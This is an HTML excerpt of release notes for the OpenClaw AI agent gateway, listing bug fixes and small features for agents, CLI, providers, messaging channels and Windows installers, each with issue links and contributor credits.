<li>Skills: watch each shared skill directory once across agent workspaces instead of once per agent, preventing file-descriptor exhaustion (<code>EMFILE</code>) that disposed bundle-mcp processes and stalled sessions on multi-agent gateways. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4495117353" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84968" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84968/hovercard" href="https://github.com/openclaw/openclaw/issues/84968">#84968</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4498689181" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85130" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85130/hovercard" href="https://github.com/openclaw/openclaw/pull/85130">#85130</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/openperf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/openperf">@openperf</a>.</li>
<li>Release/security: keep generated npm shrinkwrap package versions inside the pnpm lock graph so published package locks cannot bypass pnpm dependency age and override policy.</li>
<li>Cron: honor <code>cron.retry.retryOn: ["network"]</code> for common network error codes such as <code>EAI_AGAIN</code>, <code>EHOSTUNREACH</code>, and <code>ENETUNREACH</code>.</li>
<li>Gateway chat: broadcast returned agent-run error payloads after an agent starts so ACP/WebChat clients receive terminal idle-timeout errors. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4494484146" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84945" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84945/hovercard" href="https://github.com/openclaw/openclaw/issues/84945">#84945</a>.</li>
<li>Gateway chat display: preserve OpenAI-compatible <code>prompt_tokens</code>, <code>completion_tokens</code>, and <code>total_tokens</code> usage fields in sanitized chat history so llama.cpp sessions keep context counts. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4386102968" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/77992" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/77992/hovercard" href="https://github.com/openclaw/openclaw/issues/77992">#77992</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MarTT79/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MarTT79">@MarTT79</a>.</li>
<li>Dashboard/CLI: allow macOS browser launching through <code>open</code> even when SSH environment variables are present, while preserving Linux SSH no-display protection. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4267511627" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/67088" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/67088/hovercard" href="https://github.com/openclaw/openclaw/issues/67088">#67088</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/theglove44/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/theglove44">@theglove44</a>.</li>
<li>Codex app-server: keep native web search observations out of mirrored chat transcripts while preserving available action query metadata in tool progress telemetry. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4498152488" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85109" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85109/hovercard" href="https://github.com/openclaw/openclaw/issues/85109">#85109</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ugitmebaby/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ugitmebaby">@ugitmebaby</a>.</li>
<li>OpenCode Go: strip unsupported Kimi reasoning replay fields before provider requests so repeated <code>kimi-k2.6</code> turns do not fail schema validation. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4473302434" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83812" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83812/hovercard" href="https://github.com/openclaw/openclaw/issues/83812">#83812</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Sleeck/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Sleeck">@Sleeck</a>.</li>
<li>Browser/CDP: add a WSL2 portproxy self-loop hint when Chrome DevTools endpoints accept connections but return an empty HTTP reply. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4189130225" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/59209" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/59209/hovercard" href="https://github.com/openclaw/openclaw/issues/59209">#59209</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Owlock/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Owlock">@Owlock</a>.</li>
<li>Agents/tools: add bounded tool-policy audit log entries that identify which allow/deny rule removed tools or blocked a sandboxed tool call. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4152597004" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/55801" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/55801/hovercard" href="https://github.com/openclaw/openclaw/issues/55801">#55801</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/justinjkline/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/justinjkline">@justinjkline</a>.</li>
<li>CLI/logs: read implicit local Gateway logs through the passive backend client path so <code>openclaw logs --follow</code> does not register as a paired device, and use the active Linux systemd journal instead of stale configured-file fallbacks when live local RPC is unavailable. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4470268868" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83656" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83656/hovercard" href="https://github.com/openclaw/openclaw/issues/83656">#83656</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4265060636" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/66841" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/66841/hovercard" href="https://github.com/openclaw/openclaw/issues/66841">#66841</a>.</li>
<li>Agents/OpenAI: preserve structured provider error code, type, and redacted body metadata on boundary-aware transport failures.</li>
<li>Doctor/Codex: point native Codex asset warnings at the canonical <code>openclaw migrate plan codex</code> preview command. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4494538415" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84948" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84948/hovercard" href="https://github.com/openclaw/openclaw/issues/84948">#84948</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/markoa/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/markoa">@markoa</a>.</li>
<li>CLI/models: make <code>capability model auth logout --agent</code> remove auth profiles from the selected non-default agent store. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4497811024" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85092" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85092/hovercard" href="https://github.com/openclaw/openclaw/issues/85092">#85092</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/islandpreneur007/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/islandpreneur007">@islandpreneur007</a>.</li>
<li>Gateway/models: reuse prepared provider auth metadata during model-listing auth checks so repeated lookups avoid broad plugin discovery while preserving synthetic local auth.</li>
<li>CLI/status: suppress systemd user-service setup hints when <code>openclaw status --deep</code> can already reach a running Gateway RPC service. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4497813806" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85094" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85094/hovercard" href="https://github.com/openclaw/openclaw/issues/85094">#85094</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/islandpreneur007/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/islandpreneur007">@islandpreneur007</a>.</li>
<li>CLI/devices: recover local approval when a same-device repair request replaces the request ID being approved.</li>
<li>CLI/agents: retry transient normal-close Gateway handshakes before falling back to embedded <code>openclaw agent</code> execution.</li>
<li>CLI/update: keep managed Gateway service stop/restart status lines out of <code>openclaw update --json</code> stdout so package-update automation can parse the JSON payload.</li>
<li>Plugins: resolve OpenClaw plugin SDK subpaths for native external plugin runtimes without mutating package installs or broadening process-wide module resolution.</li>
<li>Agents/OpenAI: preserve Responses and Chat Completions <code>reasoning_tokens</code> usage metadata without double-counting it in aggregate output tokens. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4502043775" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85319" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85319/hovercard" href="https://github.com/openclaw/openclaw/pull/85319">#85319</a>)</li>
<li>Control UI/chat: convert pasted <code>data:image/...;base64,...</code> clipboard text into an image attachment instead of dumping the payload into the composer. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4219271267" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/62604" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/62604/hovercard" href="https://github.com/openclaw/openclaw/issues/62604">#62604</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cpwilhelmi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cpwilhelmi">@cpwilhelmi</a>.</li>
<li>Providers/Gemini: strip fractional seconds from web-search time range filters so Gemini accepts freshness-bound search requests. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4497228388" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85071" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85071/hovercard" href="https://github.com/openclaw/openclaw/pull/85071">#85071</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Noerr/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Noerr">@Noerr</a>.</li>
<li>OpenAI Codex: preserve image input support for sparse <code>openai-codex/gpt-5.5</code> catalog rows. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4497838305" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85095" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85095/hovercard" href="https://github.com/openclaw/openclaw/pull/85095">#85095</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sercada/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sercada">@sercada</a>.</li>
<li>CLI/models: add a piped or pasted API-key path for OpenAI Codex auth and warn when API keys are pasted into token-mode auth. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506010459" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85533" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85533/hovercard" href="https://github.com/openclaw/openclaw/pull/85533">#85533</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Telegram: dead-letter missing-harness isolated ingress failures so a poisoned spooled update no longer blocks later same-lane messages. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4504658446" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85470" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85470/hovercard" href="https://github.com/openclaw/openclaw/issues/85470">#85470</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506677758" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85605" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85605/hovercard" href="https://github.com/openclaw/openclaw/pull/85605">#85605</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Plugins/discovery: strip <code>-plugin</code> package suffixes when deriving plugin id hints so package names line up with manifest ids. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499184691" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85170" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85170/hovercard" href="https://github.com/openclaw/openclaw/pull/85170">#85170</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JulyanXu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JulyanXu">@JulyanXu</a>.</li>
<li>Tlon: stop advertising a non-existent agent tool contract in the plugin manifest.</li>
<li>Telegram: preserve fenced code block languages through Markdown rendering so Telegram receives <code>language-*</code> code classes. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499735731" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85209" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85209/hovercard" href="https://github.com/openclaw/openclaw/pull/85209">#85209</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/leno23/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/leno23">@leno23</a>.</li>
<li>Windows installer: run npm and Corepack command shims from a Windows-local directory so installs launched from WSL2 UNC paths do not fail before OpenClaw is installed.</li>
<li>Windows updates: roll back git-backed updates to the previous checkout when dependency install, build, UI build, or doctor repair fails.</li>
<li>Windows installer: persist user-local portable Git on PATH and activate the repo-pinned pnpm version for git-backed installs and updates.</li>
<li>Windows installer: bootstrap a user-local portable Node.js when native Windows has no Node and no winget, Chocolatey, or Scoop, so first-run installs can continue on raw hosts.</li>
<li>Windows installer: extract the downloaded portable Node.js directory with native <code>tar</code> before falling back to .NET zip extraction, avoiding PowerShell 5.1 archive and path-length failures.</li>
<li>fix(integrations): enforce channel read target allowlists [AI]. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4495452049" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84982" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84982/hovercard" href="https://github.com/openclaw/openclaw/pull/84982">#84982</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pgondhi987/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pgondhi987">@pgondhi987</a>.</li>
<li>Agents/heartbeat: route single-owner <code>session.dmScope=main</code> direct-message exec and cron event wakes back to the agent main session so async completions no longer strand context in orphan direct-DM queues. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4328109968" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71581" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/71581/hovercard" href="https://github.com/openclaw/openclaw/issues/71581">#71581</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4472187030" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83743" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83743/hovercard" href="https://github.com/openclaw/openclaw/pull/83743">#83743</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kaspre/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kaspre">@Kaspre</a>.</li>
<li>Agents/code-mode: expose outer code-mode <code>exec</code> source through the <code>command</code> hook alias with <code>toolKind</code>/<code>toolInputKind</code> discriminators so exec-shaped policies can distinguish code-mode cells. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4466955914" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83483" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83483/hovercard" href="https://github.com/openclaw/openclaw/pull/83483">#83483</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kaspre/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kaspre">@Kaspre</a>.</li>
<li>Agents/code mode: return structured timeout and runtime-unavailable error codes for known worker failures. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4465759055" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83389" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83389/hovercard" href="https://github.com/openclaw/openclaw/issues/83389">#83389</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4466377793" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83444" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83444/hovercard" href="https://github.com/openclaw/openclaw/pull/83444">#83444</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kaspre/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kaspre">@Kaspre</a>.</li>
<li>QA-Lab: isolate multi-scenario suite workers when scenarios need startup config patches, preventing message-routing config from leaking into unrelated scenarios.</li>
<li>QA-Lab: make the commitments heartbeat-target-none scenario request an immediate heartbeat instead of waiting for the next scheduled heartbeat.</li>
<li>Codex/Plugin SDK: deliver Codex-native subagent completions through a generic harness task runtime so harness-backed plugins can mirror durable task lifecycle and completion delivery without Codex-specific SDK imports. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4466398711" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83445" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83445/hovercard" href="https://github.com/openclaw/openclaw/pull/83445">#83445</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bryanpearson/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bryanpearson">@bryanpearson</a>.</li>
<li>Gateway CLI: surface local post-challenge connect assembly failures immediately instead of waiting for the wrapper timeout. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4290747635" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/68944" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/68944/hovercard" href="https://github.com/openclaw/openclaw/issues/68944">#68944</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4500376302" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85253" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85253/hovercard" href="https://github.com/openclaw/openclaw/pull/85253">#85253</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/samzong/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/samzong">@samzong</a>.</li>
<li>Messages: strip unsupported web-search citation control markers from outbound replies before they reach WebChat or external channels. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499543395" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85193" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85193/hovercard" href="https://github.com/openclaw/openclaw/issues/85193">#85193</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499683212" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85204" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85204/hovercard" href="https://github.com/openclaw/openclaw/pull/85204">#85204</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neeravmakwana/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neeravmakwana">@neeravmakwana</a>.</li>
<li>Agents/exec: treat denied exec approvals as terminal instead of feeding them back into agent follow-up work, and recognize Chinese stop phrases in abort handling. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4297018430" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/69386" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/69386/hovercard" href="https://github.com/openclaw/openclaw/issues/69386">#69386</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499556034" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85194" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85194/hovercard" href="https://github.com/openclaw/openclaw/pull/85194">#85194</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/samzong/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/samzong">@samzong</a>.</li>
<li>CLI/agents: abort accepted Gateway-backed <code>openclaw agent</code> runs on SIGINT/SIGTERM so cron and supervisor timeouts do not leave remote agent work alive. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4328934502" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71710" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/71710/hovercard" href="https://github.com/openclaw/openclaw/issues/71710">#71710</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4482298414" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84381" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84381/hovercard" href="https://github.com/openclaw/openclaw/pull/84381">#84381</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kaspre/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kaspre">@Kaspre</a>.</li>
<li>Codex app-server: retry replay-safe stdio client-close turns once using structured failure metadata, while surfacing idle <code>turn/completed</code> timeouts instead of blindly replaying active shared-server turns. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/VACInc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/VACInc">@VACInc</a>.</li>
<li>Codex app-server: reject command overrides that embed Node or package-manager arguments and point users to <code>appServer.args</code>, so Windows startup avoids shell parsing failures. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4482924887" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84417" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84417/hovercard" href="https://github.com/openclaw/openclaw/pull/84417">#84417</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TurboTheTurtle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TurboTheTurtle">@TurboTheTurtle</a>.</li>
<li>Agents/Copilot: drop unsafe GitHub Copilot Responses reasoning replay items before send so Telegram direct sessions no longer fail on overlong replay IDs. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499593497" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85197" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85197/hovercard" href="https://github.com/openclaw/openclaw/issues/85197">#85197</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499597293" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85198" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85198/hovercard" href="https://github.com/openclaw/openclaw/pull/85198">#85198</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/galiniliev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/galiniliev">@galiniliev</a>.</li>
<li>UI: add accessible tooltips to the topbar color-mode buttons so System, Light, and Dark choices are labeled on hover and focus. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499909774" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85227" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85227/hovercard" href="https://github.com/openclaw/openclaw/pull/85227">#85227</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amknight/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amknight">@amknight</a>.</li>
<li>fix: constrain Windows task script names [AI]. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4497094133" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85064" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85064/hovercard" href="https://github.com/openclaw/openclaw/pull/85064">#85064</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pgondhi987/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pgondhi987">@pgondhi987</a>.</li>
<li>Control UI: keep the chat session picker from hiding older or cross-agent configured conversations while preserving the bounded configured-agent refresh. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499767279" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85211" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85211/hovercard" href="https://github.com/openclaw/openclaw/pull/85211">#85211</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amknight/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amknight">@amknight</a>.</li>
<li>Agents/Anthropic: preserve unsafe integer tool-call input values in streamed Anthropic tool-use JSON, preventing Discord-style IDs from being rounded before dispatch. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4078181831" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/47229" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/47229/hovercard" href="https://github.com/openclaw/openclaw/issues/47229">#47229</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4463230716" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83063" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83063/hovercard" href="https://github.com/openclaw/openclaw/pull/83063">#83063</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/leno23/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/leno23">@leno23</a>.</li>
<li>Agents/Codex: estimate tool-heavy prompt pressure at the LLM boundary before provider submission, so persistent sessions compact before overflowing context windows. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506085390" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85541" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85541/hovercard" href="https://github.com/openclaw/openclaw/pull/85541">#85541</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Agents/hooks: wait for local one-shot CLI and Codex <code>agent_end</code> plugin hooks before process cleanup so terminal observability flushes reliably. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4495920076" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85007" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85007/hovercard" href="https://github.com/openclaw/openclaw/pull/85007">#85007</a>)</li>
<li>Providers/Google: preserve Gemini 3 cron <code>thinkingDefault: "low"</code> when stale catalog metadata says <code>reasoning:false</code>, so scheduled runs keep provider-supported thinking instead of downgrading to off. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499385810" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85185" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85185/hovercard" href="https://github.com/openclaw/openclaw/pull/85185">#85185</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neeravmakwana/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neeravmakwana">@neeravmakwana</a>.</li>
